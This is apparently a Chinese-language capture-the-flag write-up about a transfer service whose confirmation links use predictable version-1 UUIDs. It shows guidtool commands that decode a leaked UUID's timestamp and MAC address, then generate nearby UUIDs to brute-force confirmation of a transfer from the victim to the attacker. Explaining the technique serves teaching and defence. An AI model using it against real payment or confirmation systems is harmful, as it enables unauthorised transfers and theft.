Image

题目是一个简单的转账系统,只有两个路由,一个是转账,一个是确认转账,在转账后会用uuid生成一个单号,以这个单号为参数就可以确认这笔转账

vulnerability

漏洞发生在确认转账的地方,如果我们能得知转账的uuid就可以确认任意的转账,而本题所用的guid为v1

A GUID v1 consists of:

  • The current time

    • 当前日期和时间,UUID的第一个部分与时间有关,如果你在生成一个UUID之后,过几秒又生成一个UUID,则第一个部分不同,其余相同。
  • Node ID

    • Based on system’s MAC address 全局唯一的IEEE机器识别号,如果有网卡,从网卡MAC地址获得,没有网卡以其他方式获得。
  • Clock sequence

    • Remains constant during uptime 时钟序列

在同一个服务中,guid只有第一部分(当前时间)会变化,我们只要得到了模糊的时间,就可以通过爆破来得到其他的订单的guid

exploit

我们可以连续发起两笔转账,一笔是自己转账给受害者,另一笔是由受害者转账给自己,我们可以获取到第一笔交易的guid,

1
2
Confirmation mail sent to user1 with id be06b550-5a69-11ed-8025-ad77b9400a61 (已知)
Confirmation mail sent to admin with id be831140-5a69-11ed-8025-ad77b9400a61

使用以下的工具来解析已知的guid从而得到一个模糊的时间

intruder-io/guidtool: A tool to inspect and attack version 1 GUIDs (github.com)

1
2
3
4
5
6
7
PS C:\Users\14169\Desktop>  guidtool -i be06b550-5a69-11ed-8025-ad77b9400a61
UUID version: 1
UUID time: 2022-11-02 04:49:32.453000
UUID timestamp: 138866573724530000
UUID node: 190729720695393
UUID MAC address: ad:77:b9:40:0a:61
UUID clock sequence: 37

再爆破一堆临近时间的guid,从而确认我们的恶意交易

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
PS C:\Users\14169\Desktop> guidtool -t '2022-11-02 04:49:32' be06b550-5a69-11ed-8025-ad77b9400a61
bd28ff80-5a69-11ed-8025-ad77b9400a61
bd292690-5a69-11ed-8025-ad77b9400a61
bd294da0-5a69-11ed-8025-ad77b9400a61
bd2974b0-5a69-11ed-8025-ad77b9400a61
bd299bc0-5a69-11ed-8025-ad77b9400a61
bd29c2d0-5a69-11ed-8025-ad77b9400a61
bd29e9e0-5a69-11ed-8025-ad77b9400a61
bd2a10f0-5a69-11ed-8025-ad77b9400a61
bd2a3800-5a69-11ed-8025-ad77b9400a61
bd2a5f10-5a69-11ed-8025-ad77b9400a61
bd2a8620-5a69-11ed-8025-ad77b9400a61
bd2aad30-5a69-11ed-8025-ad77b9400a61
bd2ad440-5a69-11ed-8025-ad77b9400a61
bd2afb50-5a69-11ed-8025-ad77b9400a61
bd2b2260-5a69-11ed-8025-ad77b9400a61
bd2b4970-5a69-11ed-8025-ad77b9400a61
......